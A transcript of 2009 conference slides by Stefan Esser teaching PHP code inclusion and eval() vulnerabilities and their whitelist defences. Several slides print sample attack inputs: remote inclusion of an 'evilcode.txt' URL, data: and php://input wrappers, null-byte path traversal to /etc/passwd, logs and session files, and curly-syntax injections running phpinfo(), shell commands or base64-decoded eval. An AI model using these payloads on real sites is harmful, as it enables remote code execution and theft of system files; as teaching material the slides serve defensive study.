php security crash course - 6 - php code inclusion / evaluation

23
Stefan Esser PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 Part VI PHP Code Inclusion 1

Upload: kaplumbaga

Post on 16-Nov-2014

865 views

Category:

Documents


9 download

DESCRIPTION

Stefan Esser's "PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation" slides from Dutch PHP Conference 2009

TRANSCRIPT

Page 1: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Part VIPHP Code Inclusion

1

Page 2: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

PHP Code Inclusion

• PHP supports loading other PHP code

• include

• include_once

• require

• require_once

• Loading possible from files and URL streams

• include “/var/www/includes/function.php“;

• include “http://www.example.com/test.php“;

2

Page 3: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Static PHP Code Inclusion (I)

• Static inclusion of files

• include “/var/www/includes/functions.php“

• include “topic.php“

• no security problem because it cannot be influenced

3

Page 4: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Static PHP Code Inclusion (II)

• Static inclusion of URL Streams

• include “http://www.example.com/test.php“

• include “https://www.example.com/test-ssl.php“

• URL cannot be influenced

• but trusting PHP code from external source

• attackable on network level

➡ potential security problem => should be avoided

4

Page 5: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Dynamic PHP Code Inclusion (I)

• Dynamc inclusion

• include $_GET[‘module‘].“.php“

• include “./modules/“. $_GET[‘module‘].“.php“

• Path to include can be influenced

➡ Security problem because path can be changed to malicious PHP code

5

Page 6: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Dynamic PHP Code Inclusion - URLs (I)

• URL Wrapper allows injection of PHP code

• include $_GET[‘module‘].“.php“

• Possible attacks

• include “http://www.example.com/evilcode.txt?.php“;

• include “ftp://ftp.example.com/evilcode.txt?.php“;

• include “data:text/plain;<?php phpinfo();?>.php“;

• include “php://input\0.php“;

6

Page 7: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Dynamic PHP Code Inclusion - URLs (II)

• file_exists() is no protection against URL wrappers

if (file_exists($_GET[‘module‘].“.php“)) include $_GET[‘module‘].“.php“;}

• most URL wrappers do not implement stat()

• but ftp:// wrapper supports stat()

➡ file_exists() check can be bypassed with ftp://

7

Page 8: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Dynamic PHP Code Inclusion - Files (I)

• local files can be viewed and locally stored PHP code can be executed

• include “./modules/“. $_GET[‘module‘].“.php“

• possible attacks

• include “./modules/../../../etc/passwd\0.php“;

• include “./modules/../../../var/log/httpd/access.log\0.php“;

• include “./modules/../../../proc/self/environ\0.php“;

• include “./modules/../../../tmp/sess_XXXXXXXX\0.php“;

8

Page 9: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Dynamic PHP Code Inclusion - Files (II)

• protecting include statements should be done with whitelist approaches

<?php $allowedModules = array(‘step1‘, ‘step2‘, ‘step3‘, ‘step4‘, ‘step5‘, ‘step6‘);

if (!in_array($module, $allowedModules)) { $module = $allowedModules[0]; }

include “./modules/$module.php“;?>

9

Page 10: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Part VIIPHP Code Evaluation

10

Page 11: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

PHP Code Evaluation (I)

• Code compilation and execution at runtime

• in PHP

• eval()

• create_function()

• preg_replace() with /e modifizierer

• assert()

11

Page 12: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

PHP Code Evaluation (II)

• potential security problem if user input is evaluated

• allows execution of arbitrary PHP code

• should be avoided

• is usually not required

12

Page 13: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

eval() (I)

• embedding user input always dangerous

• filtering with blacklists nearly impossible

• correct escaping is hard - no default functions

• whitelist approach is recommended

13

Page 14: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

eval() (II)

• Example:

<?php eval(‘$s = “‘ . addslashes($_GET[‘val‘]) . ‘“;‘);?>

• not sufficient secured

• danger of information leaks through variables

• index.php?val=$secretVariable

• danger of code execution through complex curly syntax

• index.php?val={${phpinfo()}}

14

Page 15: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Complex Curly Syntax

• documented but nearly unknown

• allows code execution within strings

• only within double quotes

• $s = “foo{${phpinfo()}}bar“;

• $s = “foo{${`ls -la /`}}bar“;

• $s = “foo{${eval(base64_decode(‘...‘))}}bar“;

15

Page 16: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

eval () Whitelist Protection Approach

<?php

$value = isset($_GET[‘val‘]) ? $_GET[‘val‘] : ‘‘;

if (preg_match(“/^[0-9a-z]*$/iD“, $value)) { $str = “$s = ‘$value‘;“; eval($str);

}

?>

16

Page 17: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

create_function()

• for temporary / lambda functions

• internally only an eval() wrapper

• same injection danger like eval()

• injection possible in both parameters

17

Page 18: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

create_function() - Internal Wrapper Function

/* Implementation similar */

function create_function($params, $body){ $name = “\0__lambda“; $name .= $GLOBALS[‘lambda_count‘]++;

$str = “function $name($params) {$body}“; eval($str);

return $name;}

18

Page 19: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

preg_replace() (I)

• /e modifier allows execution of PHP code to modify the matches

preg_replace(‘/&#([0-9]+);/e‘, ‘chr(\1)‘‚ $source);

• Internally during code construction addslashes() is used

$str = “chr(“;$str .= addslashes($match1);$str .= “);“;eval($str);

19

Page 20: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

preg_replace() (II)

• potential security problem

• matches could inject PHP code

• depends on regular expression

• depends on position in evaluated code

20

Page 21: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Secure Usage of the /e Modifier

• /e Modifier can be used in a secure way

• by using single quotes in the evaluated code instead of double quotes

preg_replace(‘/&#(.+);/e‘, “strtolower(‘\\1‘)“‚ $source);

• single quotes do not allow complex curly syntax

• single quotes will be correctly escaped

• but best solution is getting rid of evaluated code

21

Page 22: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

preg_replace_callback()

<?php

/* Callback function */ function pr_callback($match) { return chr($match[0]); }

preg_replace_callback(‘/&#([0-9]+);/e‘, ‘pr_callback‘, $source);

?>

22

Page 23: PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 • 

Questions ?

23